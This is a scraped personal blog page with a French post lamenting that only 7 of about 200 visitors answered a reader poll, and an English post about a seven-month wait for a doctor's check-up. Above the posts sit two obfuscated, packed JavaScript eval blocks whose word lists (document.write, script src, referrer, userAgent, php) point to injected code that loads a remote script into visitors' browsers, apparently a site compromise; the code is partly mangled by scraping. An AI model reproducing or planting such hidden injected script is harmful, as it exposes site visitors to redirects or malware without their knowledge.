eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|etbbr|var|u0026u|referrer|anzzr||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nzzrz|var|u0026u|referrer|rsbyz||js|php’.split(‘|’),0,{}))

Je suis plutôt décu par les résultats de mon premier sondage sur le blogue. Il y a en moyenne 15 personnes par jour qui visitent le blog, ce qui fait que durant la durée du sondage (2 semaines) plus de 200 personnes l’ont visité mais seulement 7 ont jugé bon de répondre au sondage! J’ai toujours assumé que mes lecteurs sont surtout anglophones (l’anglais est après tout la langue du web) mais pourtant toutes les réponses que j’ai eut semble favoriser le français. Je vais tout de même continuer à commenter chaque sujet dans la langue appropriée (crtiquer un film ou livre dans la langue ou je l’ai lu ou vu). J’aimerai bien que les gens participent un peu plus au blog en répondant aux sondages et laissant des commentaires (sauf si c’est pour m’insulter, bien sûr)…

Future health

I just called to get our “annual” (actually it has been three years) medical check-up appointment with our family doctor. I’ve got an appointment in november! In seven months! That’s comforting to know that we’ll be dealing then with the future of medecine…